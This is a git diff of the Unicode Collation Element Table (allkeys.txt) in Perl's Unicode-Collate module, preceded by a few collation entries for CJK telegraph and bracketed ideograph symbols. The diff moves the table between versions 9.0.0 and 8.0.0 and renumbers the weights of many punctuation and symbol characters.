[.1BBF.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY +335F ; [.1BBF.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN +33E7 ; [.1BC0.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT +32C7 ; [.1BC0.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST +3360 ; [.1BC0.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT +33E8 ; [.1BC1.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE +32C8 ; [.1BC1.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER +3361 ; [.1BC1.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE +1F241 ; [*0372.0020.0004][.C8DF.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 +1F242 ; [*0372.0020.0004][.CBCD.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C +1F247 ; [*0372.0020.0004][.C1CC.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD +1F243 ; [*0372.0020.0004][.CB52.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 +1F245 ; [*0372.0020.0004][.8C38.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 +1F248 ; [*0372.0020.0004][.80CD.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 +1F240 ; [*0372.0020.0004][.819A.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C +1F244 ; [*0372.0020.0004][.8E99.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 +1F246 ; [*0372.0020.0004][.8CA9.0020.0004][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 2F00 ; [.CBDC.0020.0004] # KANGXI RADICAL ONE 3192 ; [.CBDC.0020.0014] # IDEOGRAPHIC ANNOTATION ONE MARK 3280 ; [.CBDC.0020.0006] # CIRCLED IDEOGRAPH ONE diff --git a/cpan/Unicode-Collate/Collate/allkeys.txt b/cpan/Unicode-Collate/Collate/allkeys.txt index 9c92b5e2ac7c..e1c34b8feebf 100644 --- a/cpan/Unicode-Collate/Collate/allkeys.txt +++ b/cpan/Unicode-Collate/Collate/allkeys.txt @@ -1,22 +1,21 @@ -# allkeys-9.0.0.txt -# Date: 2016-05-16, 18:21:19 GMT [KW] -# Copyright 2016 Unicode, Inc. -# For terms of use, see http://www.unicode.org/terms_of_use.html +# unidata-8.0.0.txt +# Date: 2015-02-18, 15:42:57 GMT [KW] # # This file defines the Default Unicode Collation Element Table # (DUCET) for the Unicode Collation Algorithm # +# Copyright (c) 2001-2015 Unicode, Inc. +# For terms of use, see http://www.unicode.org/terms_of_use.html +# # See UTS #10, Unicode Collation Algorithm, for more information. # # Diagnostic weight ranges -# Primary weight range: 0200..54A3 (21156) -# Secondary weight range: 0020..0114 (245) -# Variant secondaries: 0110..0114 (5) +# Primary weight range: 0200..530C (20749) +# Secondary weight range: 0020..010F (240) +# Variant secondaries: 010B..010F (5) # Tertiary weight range: 0002..001F (30) # -@version 9.0.0 - -@implicitweights 17000..18AFF; FB00 # Tangut and Tangut Components +@version 8.0.0 0000 ; [.0000.0000.0000] # NULL (in ISO 6429) 0001 ; [.0000.0000.0000] # START OF HEADING (in ISO 6429) @@ -80,7 +79,6 @@ 00AD ; [.0000.0000.0000] # SOFT HYPHEN 061C ; [.0000.0000.0000] # ARABIC LETTER MARK 070F ; [.0000.0000.0000] # SYRIAC ABBREVIATION MARK -08E2 ; [.0000.0000.0000] # ARABIC DISPUTED END OF AYAH 180B ; [.0000.0000.0000] # MONGOLIAN FREE VARIATION SELECTOR ONE 180C ; [.0000.0000.0000] # MONGOLIAN FREE VARIATION SELECTOR TWO 180D ; [.0000.0000.0000] # MONGOLIAN FREE VARIATION SELECTOR THREE @@ -481,135 +479,135 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 000C ; [*0204.0020.0002] # FORM FEED (in ISO 6429) 000D ; [*0205.0020.0002] # CARRIAGE RETURN (in ISO 6429) 0020 ; [*0209.0020.0002] # SPACE -0021 ; [*0260.0020.0002] # EXCLAMATION MARK -0022 ; [*030C.0020.0002] # QUOTATION MARK -0023 ; [*0398.0020.0002] # NUMBER SIGN -0025 ; [*0399.0020.0002] # PERCENT SIGN -0026 ; [*0396.0020.0002] # AMPERSAND -0027 ; [*0305.0020.0002] # APOSTROPHE -0028 ; [*0317.0020.0002] # LEFT PARENTHESIS -0029 ; [*0318.0020.0002] # RIGHT PARENTHESIS -002A ; [*038F.0020.0002] # ASTERISK -002B ; [*0616.0020.0002] # PLUS SIGN -002C ; [*0222.0020.0002] # COMMA +0021 ; [*025F.0020.0002] # EXCLAMATION MARK +0022 ; [*0305.0020.0002] # QUOTATION MARK +0023 ; [*0391.0020.0002] # NUMBER SIGN +0025 ; [*0392.0020.0002] # PERCENT SIGN +0026 ; [*038F.0020.0002] # AMPERSAND +0027 ; [*02FE.0020.0002] # APOSTROPHE +0028 ; [*0310.0020.0002] # LEFT PARENTHESIS +0029 ; [*0311.0020.0002] # RIGHT PARENTHESIS +002A ; [*0388.0020.0002] # ASTERISK +002B ; [*05F6.0020.0002] # PLUS SIGN +002C ; [*0221.0020.0002] # COMMA 002D ; [*020D.0020.0002] # HYPHEN-MINUS -002E ; [*0277.0020.0002] # FULL STOP -002F ; [*0394.0020.0002] # SOLIDUS -003A ; [*0239.0020.0002] # COLON -003B ; [*0234.0020.0002] # SEMICOLON -003C ; [*061A.0020.0002] # LESS-THAN SIGN -003D ; [*061B.0020.0002] # EQUALS SIGN -003E ; [*061C.0020.0002] # GREATER-THAN SIGN -003F ; [*0266.0020.0002] # QUESTION MARK -0040 ; [*038E.0020.0002] # COMMERCIAL AT -005B ; [*0319.0020.0002] # LEFT SQUARE BRACKET -005C ; [*0395.0020.0002] # REVERSE SOLIDUS -005D ; [*031A.0020.0002] # RIGHT SQUARE BRACKET -005E ; [*0485.0020.0002] # CIRCUMFLEX ACCENT +002E ; [*0274.0020.0002] # FULL STOP +002F ; [*038D.0020.0002] # SOLIDUS +003A ; [*0238.0020.0002] # COLON +003B ; [*0233.0020.0002] # SEMICOLON +003C ; [*05FA.0020.0002] # LESS-THAN SIGN +003D ; [*05FB.0020.0002] # EQUALS SIGN +003E ; [*05FC.0020.0002] # GREATER-THAN SIGN +003F ; [*0264.0020.0002] # QUESTION MARK +0040 ; [*0387.0020.0002] # COMMERCIAL AT +005B ; [*0312.0020.0002] # LEFT SQUARE BRACKET +005C ; [*038E.0020.0002] # REVERSE SOLIDUS +005D ; [*0313.0020.0002] # RIGHT SQUARE BRACKET +005E ; [*0466.0020.0002] # CIRCUMFLEX ACCENT 005F ; [*020B.0020.0002] # LOW LINE -0060 ; [*0482.0020.0002] # GRAVE ACCENT -007B ; [*031B.0020.0002] # LEFT CURLY BRACKET -007C ; [*061E.0020.0002] # VERTICAL LINE -007D ; [*031C.0020.0002] # RIGHT CURLY BRACKET -007E ; [*0620.0020.0002] # TILDE +0060 ; [*0463.0020.0002] # GRAVE ACCENT +007B ; [*0314.0020.0002] # LEFT CURLY BRACKET +007C ; [*05FE.0020.0002] # VERTICAL LINE +007D ; [*0315.0020.0002] # RIGHT CURLY BRACKET +007E ; [*0600.0020.0002] # TILDE 0085 ; [*0206.0020.0002] # NEXT LINE (in ISO 6429) 00A0 ; [*0209.0020.001B] # NO-BREAK SPACE -00A1 ; [*0261.0020.0002] # INVERTED EXCLAMATION MARK -00A6 ; [*061F.0020.0002] # BROKEN BAR -00A7 ; [*0389.0020.0002] # SECTION SIGN -00A8 ; [*0489.0020.0002] # DIAERESIS -00A9 ; [*0584.0020.0002] # COPYRIGHT SIGN -00AB ; [*0315.0020.0002] # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK -00AC ; [*061D.0020.0002] # NOT SIGN -00AE ; [*0585.0020.0002] # REGISTERED SIGN -00AF ; [*0486.0020.0002] # MACRON -00B0 ; [*04F6.0020.0002] # DEGREE SIGN -00B1 ; [*0617.0020.0002] # PLUS-MINUS SIGN -00B4 ; [*0483.0020.0002] # ACUTE ACCENT -00B6 ; [*038B.0020.0002] # PILCROW SIGN -00B7 ; [*028B.0020.0002] # MIDDLE DOT -00B8 ; [*048C.0020.0002] # CEDILLA -00BB ; [*0316.0020.0002] # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK -00BF ; [*0267.0020.0002] # INVERTED QUESTION MARK -00D7 ; [*0619.0020.0002] # MULTIPLICATION SIGN -00F7 ; [*0618.0020.0002] # DIVISION SIGN -02B9 ; [*0493.0020.0002] # MODIFIER LETTER PRIME -02BA ; [*0495.0020.0002] # MODIFIER LETTER DOUBLE PRIME -02C2 ; [*0496.0020.0002] # MODIFIER LETTER LEFT ARROWHEAD -02C3 ; [*0497.0020.0002] # MODIFIER LETTER RIGHT ARROWHEAD -02C4 ; [*0498.0020.0002] # MODIFIER LETTER UP ARROWHEAD -02C5 ; [*0499.0020.0002] # MODIFIER LETTER DOWN ARROWHEAD -02C6 ; [*049A.0020.0002] # MODIFIER LETTER CIRCUMFLEX ACCENT -02C7 ; [*049B.0020.0002] # CARON -02C8 ; [*049C.0020.0002] # MODIFIER LETTER VERTICAL LINE -02C9 ; [*049D.0020.0002] # MODIFIER LETTER MACRON -02CA ; [*049E.0020.0002] # MODIFIER LETTER ACUTE ACCENT -02CB ; [*049F.0020.0002] # MODIFIER LETTER GRAVE ACCENT -02CC ; [*04A0.0020.0002] # MODIFIER LETTER LOW VERTICAL LINE -02CD ; [*04A1.0020.0002] # MODIFIER LETTER LOW MACRON -02CE ; [*04A2.0020.0002] # MODIFIER LETTER LOW GRAVE ACCENT -02CF ; [*04A3.0020.0002] # MODIFIER LETTER LOW ACUTE ACCENT -02D2 ; [*04A4.0020.0002] # MODIFIER LETTER CENTRED RIGHT HALF RING -02D3 ; [*04A5.0020.0002] # MODIFIER LETTER CENTRED LEFT HALF RING -02D4 ; [*04A6.0020.0002] # MODIFIER LETTER UP TACK -02D5 ; [*04A7.0020.0002] # MODIFIER LETTER DOWN TACK -02D6 ; [*04A8.0020.0002] # MODIFIER LETTER PLUS SIGN -02D7 ; [*04A9.0020.0002] # MODIFIER LETTER MINUS SIGN -02D8 ; [*0487.0020.0002] # BREVE -02D9 ; [*0488.0020.0002] # DOT ABOVE -02DA ; [*048A.0020.0002] # RING ABOVE -02DB ; [*048D.0020.0002] # OGONEK -02DC ; [*0484.0020.0002] # SMALL TILDE -02DD ; [*048B.0020.0002] # DOUBLE ACUTE ACCENT -02DE ; [*04AA.0020.0002] # MODIFIER LETTER RHOTIC HOOK -02DF ; [*04AB.0020.0002] # MODIFIER LETTER CROSS ACCENT -02E5 ; [*04AC.0020.0002] # MODIFIER LETTER EXTRA-HIGH TONE BAR -02E6 ; [*04AD.0020.0002] # MODIFIER LETTER HIGH TONE BAR -02E7 ; [*04AE.0020.0002] # MODIFIER LETTER MID TONE BAR -02E8 ; [*04AF.0020.0002] # MODIFIER LETTER LOW TONE BAR -02E9 ; [*04B0.0020.0002] # MODIFIER LETTER EXTRA-LOW TONE BAR -02EA ; [*04B1.0020.0002] # MODIFIER LETTER YIN DEPARTING TONE MARK -02EB ; [*04B2.0020.0002] # MODIFIER LETTER YANG DEPARTING TONE MARK -02EC ; [*04B3.0020.0002] # MODIFIER LETTER VOICING -02ED ; [*04B4.0020.0002] # MODIFIER LETTER UNASPIRATED -02EF ; [*04B5.0020.0002] # MODIFIER LETTER LOW DOWN ARROWHEAD -02F0 ; [*04B6.0020.0002] # MODIFIER LETTER LOW UP ARROWHEAD -02F1 ; [*04B7.0020.0002] # MODIFIER LETTER LOW LEFT ARROWHEAD -02F2 ; [*04B8.0020.0002] # MODIFIER LETTER LOW RIGHT ARROWHEAD -02F3 ; [*04B9.0020.0002] # MODIFIER LETTER LOW RING -02F4 ; [*04BA.0020.0002] # MODIFIER LETTER MIDDLE GRAVE ACCENT -02F5 ; [*04BB.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT -02F6 ; [*04BC.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT -02F7 ; [*04BD.0020.0002] # MODIFIER LETTER LOW TILDE -02F8 ; [*04BE.0020.0002] # MODIFIER LETTER RAISED COLON -02F9 ; [*04BF.0020.0002] # MODIFIER LETTER BEGIN HIGH TONE -02FA ; [*04C0.0020.0002] # MODIFIER LETTER END HIGH TONE -02FB ; [*04C1.0020.0002] # MODIFIER LETTER BEGIN LOW TONE -02FC ; [*04C2.0020.0002] # MODIFIER LETTER END LOW TONE -02FD ; [*04C3.0020.0002] # MODIFIER LETTER SHELF -02FE ; [*04C4.0020.0002] # MODIFIER LETTER OPEN SHELF -02FF ; [*04C5.0020.0002] # MODIFIER LETTER LOW LEFT ARROW +00A1 ; [*0260.0020.0002] # INVERTED EXCLAMATION MARK +00A6 ; [*05FF.0020.0002] # BROKEN BAR +00A7 ; [*0382.0020.0002] # SECTION SIGN +00A8 ; [*046A.0020.0002] # DIAERESIS +00A9 ; [*0564.0020.0002] # COPYRIGHT SIGN +00AB ; [*030E.0020.0002] # LEFT-POINTING DOUBLE ANGLE QUOTATION MARK +00AC ; [*05FD.0020.0002] # NOT SIGN +00AE ; [*0565.0020.0002] # REGISTERED SIGN +00AF ; [*0467.0020.0002] # MACRON +00B0 ; [*04D7.0020.0002] # DEGREE SIGN +00B1 ; [*05F7.0020.0002] # PLUS-MINUS SIGN +00B4 ; [*0464.0020.0002] # ACUTE ACCENT +00B6 ; [*0384.0020.0002] # PILCROW SIGN +00B7 ; [*0288.0020.0002] # MIDDLE DOT +00B8 ; [*046D.0020.0002] # CEDILLA +00BB ; [*030F.0020.0002] # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK +00BF ; [*0265.0020.0002] # INVERTED QUESTION MARK +00D7 ; [*05F9.0020.0002] # MULTIPLICATION SIGN +00F7 ; [*05F8.0020.0002] # DIVISION SIGN +02B9 ; [*0474.0020.0002] # MODIFIER LETTER PRIME +02BA ; [*0476.0020.0002] # MODIFIER LETTER DOUBLE PRIME +02C2 ; [*0477.0020.0002] # MODIFIER LETTER LEFT ARROWHEAD +02C3 ; [*0478.0020.0002] # MODIFIER LETTER RIGHT ARROWHEAD +02C4 ; [*0479.0020.0002] # MODIFIER LETTER UP ARROWHEAD +02C5 ; [*047A.0020.0002] # MODIFIER LETTER DOWN ARROWHEAD +02C6 ; [*047B.0020.0002] # MODIFIER LETTER CIRCUMFLEX ACCENT +02C7 ; [*047C.0020.0002] # CARON +02C8 ; [*047D.0020.0002] # MODIFIER LETTER VERTICAL LINE +02C9 ; [*047E.0020.0002] # MODIFIER LETTER MACRON +02CA ; [*047F.0020.0002] # MODIFIER LETTER ACUTE ACCENT +02CB ; [*0480.0020.0002] # MODIFIER LETTER GRAVE ACCENT +02CC ; [*0481.0020.0002] # MODIFIER LETTER LOW VERTICAL LINE +02CD ; [*0482.0020.0002] # MODIFIER LETTER LOW MACRON +02CE ; [*0483.0020.0002] # MODIFIER LETTER LOW GRAVE ACCENT +02CF ; [*0484.0020.0002] # MODIFIER LETTER LOW ACUTE ACCENT +02D2 ; [*0485.0020.0002] # MODIFIER LETTER CENTRED RIGHT HALF RING +02D3 ; [*0486.0020.0002] # MODIFIER LETTER CENTRED LEFT HALF RING +02D4 ; [*0487.0020.0002] # MODIFIER LETTER UP TACK +02D5 ; [*0488.0020.0002] # MODIFIER LETTER DOWN TACK +02D6 ; [*0489.0020.0002] # MODIFIER LETTER PLUS SIGN +02D7 ; [*048A.0020.0002] # MODIFIER LETTER MINUS SIGN +02D8 ; [*0468.0020.0002] # BREVE +02D9 ; [*0469.0020.0002] # DOT ABOVE +02DA ; [*046B.0020.0002] # RING ABOVE +02DB ; [*046E.0020.0002] # OGONEK +02DC ; [*0465.0020.0002] # SMALL TILDE +02DD ; [*046C.0020.0002] # DOUBLE ACUTE ACCENT +02DE ; [*048B.0020.0002] # MODIFIER LETTER RHOTIC HOOK +02DF ; [*048C.0020.0002] # MODIFIER LETTER CROSS ACCENT +02E5 ; [*048D.0020.0002] # MODIFIER LETTER EXTRA-HIGH TONE BAR +02E6 ; [*048E.0020.0002] # MODIFIER LETTER HIGH TONE BAR +02E7 ; [*048F.0020.0002] # MODIFIER LETTER MID TONE BAR +02E8 ; [*0490.0020.0002] # MODIFIER LETTER LOW TONE BAR +02E9 ; [*0491.0020.0002] # MODIFIER LETTER EXTRA-LOW TONE BAR +02EA ; [*0492.0020.0002] # MODIFIER LETTER YIN DEPARTING TONE MARK +02EB ; [*0493.0020.0002] # MODIFIER LETTER YANG DEPARTING TONE MARK +02EC ; [*0494.0020.0002] # MODIFIER LETTER VOICING +02ED ; [*0495.0020.0002] # MODIFIER LETTER UNASPIRATED +02EF ; [*0496.0020.0002] # MODIFIER LETTER LOW DOWN ARROWHEAD +02F0 ; [*0497.0020.0002] # MODIFIER LETTER LOW UP ARROWHEAD +02F1 ; [*0498.0020.0002] # MODIFIER LETTER LOW LEFT ARROWHEAD +02F2 ; [*0499.0020.0002] # MODIFIER LETTER LOW RIGHT ARROWHEAD +02F3 ; [*049A.0020.0002] # MODIFIER LETTER LOW RING +02F4 ; [*049B.0020.0002] # MODIFIER LETTER MIDDLE GRAVE ACCENT +02F5 ; [*049C.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT +02F6 ; [*049D.0020.0002] # MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT +02F7 ; [*049E.0020.0002] # MODIFIER LETTER LOW TILDE +02F8 ; [*049F.0020.0002] # MODIFIER LETTER RAISED COLON +02F9 ; [*04A0.0020.0002] # MODIFIER LETTER BEGIN HIGH TONE +02FA ; [*04A1.0020.0002] # MODIFIER LETTER END HIGH TONE +02FB ; [*04A2.0020.0002] # MODIFIER LETTER BEGIN LOW TONE +02FC ; [*04A3.0020.0002] # MODIFIER LETTER END LOW TONE +02FD ; [*04A4.0020.0002] # MODIFIER LETTER SHELF +02FE ; [*04A5.0020.0002] # MODIFIER LETTER OPEN SHELF +02FF ; [*04A6.0020.0002] # MODIFIER LETTER LOW LEFT ARROW 034F ; [.0000.0000.0000] # COMBINING GRAPHEME JOINER -0374 ; [*0493.0020.0002] # GREEK NUMERAL SIGN -0375 ; [*0494.0020.0002] # GREEK LOWER NUMERAL SIGN -037E ; [*0234.0020.0002] # GREEK QUESTION MARK -0384 ; [*0483.0020.0002] # GREEK TONOS -0385 ; [*0489.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA TONOS -0387 ; [*028B.0020.0002] # GREEK ANO TELEIA -03F6 ; [*0611.0020.0002] # GREEK REVERSED LUNATE EPSILON SYMBOL -0482 ; [*04F7.0020.0002] # CYRILLIC THOUSANDS SIGN +0374 ; [*0474.0020.0002] # GREEK NUMERAL SIGN +0375 ; [*0475.0020.0002] # GREEK LOWER NUMERAL SIGN +037E ; [*0233.0020.0002] # GREEK QUESTION MARK +0384 ; [*0464.0020.0002] # GREEK TONOS +0385 ; [*046A.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA TONOS +0387 ; [*0288.0020.0002] # GREEK ANO TELEIA +03F6 ; [*05F1.0020.0002] # GREEK REVERSED LUNATE EPSILON SYMBOL +0482 ; [*04D8.0020.0002] # CYRILLIC THOUSANDS SIGN 0488 ; [.0000.0000.0000] # COMBINING CYRILLIC HUNDRED THOUSANDS SIGN 0489 ; [.0000.0000.0000] # COMBINING CYRILLIC MILLIONS SIGN -055A ; [*03CB.0020.0002] # ARMENIAN APOSTROPHE -055B ; [*03CC.0020.0002] # ARMENIAN EMPHASIS MARK -055C ; [*0262.0020.0002] # ARMENIAN EXCLAMATION MARK -055D ; [*0226.0020.0002] # ARMENIAN COMMA -055E ; [*0269.0020.0002] # ARMENIAN QUESTION MARK -055F ; [*03CD.0020.0002] # ARMENIAN ABBREVIATION MARK -0589 ; [*023A.0020.0002] # ARMENIAN FULL STOP +055A ; [*03C3.0020.0002] # ARMENIAN APOSTROPHE +055B ; [*03C4.0020.0002] # ARMENIAN EMPHASIS MARK +055C ; [*0261.0020.0002] # ARMENIAN EXCLAMATION MARK +055D ; [*0225.0020.0002] # ARMENIAN COMMA +055E ; [*0267.0020.0002] # ARMENIAN QUESTION MARK +055F ; [*03C5.0020.0002] # ARMENIAN ABBREVIATION MARK +0589 ; [*0239.0020.0002] # ARMENIAN FULL STOP 058A ; [*020E.0020.0002] # ARMENIAN HYPHEN -058D ; [*04F8.0020.0002] # RIGHT-FACING ARMENIAN ETERNITY SIGN -058E ; [*04F9.0020.0002] # LEFT-FACING ARMENIAN ETERNITY SIGN +058D ; [*04D9.0020.0002] # RIGHT-FACING ARMENIAN ETERNITY SIGN +058E ; [*04DA.0020.0002] # LEFT-FACING ARMENIAN ETERNITY SIGN 0591 ; [.0000.0000.0000] # HEBREW ACCENT ETNAHTA 0592 ; [.0000.0000.0000] # HEBREW ACCENT SEGOL 0593 ; [.0000.0000.0000] # HEBREW ACCENT SHALSHELET @@ -642,29 +640,29 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 05AE ; [.0000.0000.0000] # HEBREW ACCENT ZINOR 05AF ; [.0000.0000.0000] # HEBREW MARK MASORA CIRCLE 05BD ; [.0000.0000.0000] # HEBREW POINT METEG -05BE ; [*03CE.0020.0002] # HEBREW PUNCTUATION MAQAF -05C0 ; [*03CF.0020.0002] # HEBREW PUNCTUATION PASEQ -05C3 ; [*03D0.0020.0002] # HEBREW PUNCTUATION SOF PASUQ +05BE ; [*03C6.0020.0002] # HEBREW PUNCTUATION MAQAF +05C0 ; [*03C7.0020.0002] # HEBREW PUNCTUATION PASEQ +05C3 ; [*03C8.0020.0002] # HEBREW PUNCTUATION SOF PASUQ 05C4 ; [.0000.0000.0000] # HEBREW MARK UPPER DOT 05C5 ; [.0000.0000.0000] # HEBREW MARK LOWER DOT -05C6 ; [*03D1.0020.0002] # HEBREW PUNCTUATION NUN HAFUKHA -05F3 ; [*03D2.0020.0002] # HEBREW PUNCTUATION GERESH -05F4 ; [*03D3.0020.0002] # HEBREW PUNCTUATION GERSHAYIM +05C6 ; [*03C9.0020.0002] # HEBREW PUNCTUATION NUN HAFUKHA +05F3 ; [*03CA.0020.0002] # HEBREW PUNCTUATION GERESH +05F4 ; [*03CB.0020.0002] # HEBREW PUNCTUATION GERSHAYIM 0600 ; [.0000.0000.0000] # ARABIC NUMBER SIGN 0601 ; [.0000.0000.0000] # ARABIC SIGN SANAH 0602 ; [.0000.0000.0000] # ARABIC FOOTNOTE MARKER 0603 ; [.0000.0000.0000] # ARABIC SIGN SAFHA 0604 ; [.0000.0000.0000] # ARABIC SIGN SAMVAT 0605 ; [.0000.0000.0000] # ARABIC NUMBER MARK ABOVE -0606 ; [*062D.0020.0002] # ARABIC-INDIC CUBE ROOT -0607 ; [*062F.0020.0002] # ARABIC-INDIC FOURTH ROOT -0608 ; [*04FA.0020.0002] # ARABIC RAY -0609 ; [*039C.0020.0002] # ARABIC-INDIC PER MILLE SIGN -060A ; [*039E.0020.0002] # ARABIC-INDIC PER TEN THOUSAND SIGN -060C ; [*0227.0020.0002] # ARABIC COMMA -060D ; [*0228.0020.0002] # ARABIC DATE SEPARATOR -060E ; [*04FD.0020.0002] # ARABIC POETIC VERSE SIGN -060F ; [*04FE.0020.0002] # ARABIC SIGN MISRA +0606 ; [*060D.0020.0002] # ARABIC-INDIC CUBE ROOT +0607 ; [*060F.0020.0002] # ARABIC-INDIC FOURTH ROOT +0608 ; [*04DB.0020.0002] # ARABIC RAY +0609 ; [*0395.0020.0002] # ARABIC-INDIC PER MILLE SIGN +060A ; [*0397.0020.0002] # ARABIC-INDIC PER TEN THOUSAND SIGN +060C ; [*0226.0020.0002] # ARABIC COMMA +060D ; [*0227.0020.0002] # ARABIC DATE SEPARATOR +060E ; [*04DE.0020.0002] # ARABIC POETIC VERSE SIGN +060F ; [*04DF.0020.0002] # ARABIC SIGN MISRA 0610 ; [.0000.0000.0000] # ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM 0611 ; [.0000.0000.0000] # ARABIC SIGN ALAYHE ASSALLAM 0612 ; [.0000.0000.0000] # ARABIC SIGN RAHMATULLAH ALAYHE @@ -676,15 +674,15 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 0618 ; [.0000.0000.0000] # ARABIC SMALL FATHA 0619 ; [.0000.0000.0000] # ARABIC SMALL DAMMA 061A ; [.0000.0000.0000] # ARABIC SMALL KASRA -061B ; [*0235.0020.0002] # ARABIC SEMICOLON -061E ; [*023B.0020.0002] # ARABIC TRIPLE DOT PUNCTUATION MARK -061F ; [*026A.0020.0002] # ARABIC QUESTION MARK +061B ; [*0234.0020.0002] # ARABIC SEMICOLON +061E ; [*023A.0020.0002] # ARABIC TRIPLE DOT PUNCTUATION MARK +061F ; [*0268.0020.0002] # ARABIC QUESTION MARK 0640 ; [.0000.0000.0000] # ARABIC TATWEEL -066A ; [*039A.0020.0002] # ARABIC PERCENT SIGN -066B ; [*0229.0020.0002] # ARABIC DECIMAL SEPARATOR -066C ; [*022A.0020.0002] # ARABIC THOUSANDS SEPARATOR -066D ; [*0392.0020.0002] # ARABIC FIVE POINTED STAR -06D4 ; [*0279.0020.0002] # ARABIC FULL STOP +066A ; [*0393.0020.0002] # ARABIC PERCENT SIGN +066B ; [*0228.0020.0002] # ARABIC DECIMAL SEPARATOR +066C ; [*0229.0020.0002] # ARABIC THOUSANDS SEPARATOR +066D ; [*038B.0020.0002] # ARABIC FIVE POINTED STAR +06D4 ; [*0276.0020.0002] # ARABIC FULL STOP 06D6 ; [.0000.0000.0000] # ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA 06D7 ; [.0000.0000.0000] # ARABIC SMALL HIGH LIGATURE QAF WITH LAM WITH ALEF MAKSURA 06D8 ; [.0000.0000.0000] # ARABIC SMALL HIGH MEEM INITIAL FORM @@ -693,7 +691,7 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 06DB ; [.0000.0000.0000] # ARABIC SMALL HIGH THREE DOTS 06DC ; [.0000.0000.0000] # ARABIC SMALL HIGH SEEN 06DD ; [.0000.0000.0000] # ARABIC END OF AYAH -06DE ; [*04FF.0020.0002] # ARABIC START OF RUB EL HIZB +06DE ; [*04E0.0020.0002] # ARABIC START OF RUB EL HIZB 06DF ; [.0000.0000.0000] # ARABIC SMALL HIGH ROUNDED ZERO 06E0 ; [.0000.0000.0000] # ARABIC SMALL HIGH UPRIGHT RECTANGULAR ZERO 06E1 ; [.0000.0000.0000] # ARABIC SMALL HIGH DOTLESS HEAD OF KHAH @@ -702,25 +700,25 @@ E01EF ; [.0000.0000.0000] # VARIATION SELECTOR-256 06E4 ; [.0000.0000.0000] # ARABIC SMALL HIGH MADDA 06E7 ; [.0000.0000.0000] # ARABIC SMALL HIGH YEH 06E8 ; [.0000.0000.0000] # ARABIC SMALL HIGH NOON -06E9 ; [*0500.0020.0002] # ARABIC PLACE OF SAJDAH +06E9 ; [*04E1.0020.0002] # ARABIC PLACE OF SAJDAH 06EA ; [.0000.0000.0000] # ARABIC EMPTY CENTRE LOW STOP 06EB ; [.0000.0000.0000] # ARABIC EMPTY CENTRE HIGH STOP 06EC ; [.0000.0000.0000] # ARABIC ROUNDED HIGH STOP WITH FILLED CENTRE 06ED ; [.0000.0000.0000] # ARABIC SMALL LOW MEEM -0700 ; [*02C4.0020.0002] # SYRIAC END OF PARAGRAPH -0701 ; [*027A.0020.0002] # SYRIAC SUPRALINEAR FULL STOP -0702 ; [*027B.0020.0002] # SYRIAC SUBLINEAR FULL STOP -0703 ; [*023C.0020.0002] # SYRIAC SUPRALINEAR COLON -0704 ; [*023D.0020.0002] # SYRIAC SUBLINEAR COLON -0705 ; [*023E.0020.0002] # SYRIAC HORIZONTAL COLON -0706 ; [*023F.0020.0002] # SYRIAC COLON SKEWED LEFT -0707 ; [*0240.0020.0002] # SYRIAC COLON SKEWED RIGHT -0708 ; [*0241.0020.0002] # SYRIAC SUPRALINEAR COLON SKEWED LEFT -0709 ; [*026B.0020.0002] # SYRIAC SUBLINEAR COLON SKEWED RIGHT -070A ; [*03D4.0020.0002] # SYRIAC CONTRACTION -070B ; [*03D5.0020.0002] # SYRIAC HARKLEAN OBELUS -070C ; [*03D6.0020.0002] # SYRIAC HARKLEAN METOBELUS -070D ; [*03D7.0020.0002] # SYRIAC HARKLEAN ASTERISCUS +0700 ; [*02BD.0020.0002] # SYRIAC END OF PARAGRAPH +0701 ; [*0277.0020.0002] # SYRIAC SUPRALINEAR FULL STOP +0702 ; [*0278.0020.0002] # SYRIAC SUBLINEAR FULL STOP +0703 ; [*023B.0020.0002] # SYRIAC SUPRALINEAR COLON +0704 ; [*023C.0020.0002] # SYRIAC SUBLINEAR COLON +0705 ; [*023D.0020.0002] # SYRIAC HORIZONTAL COLON +0706 ; [*023E.0020.0002] # SYRIAC COLON SKEWED LEFT 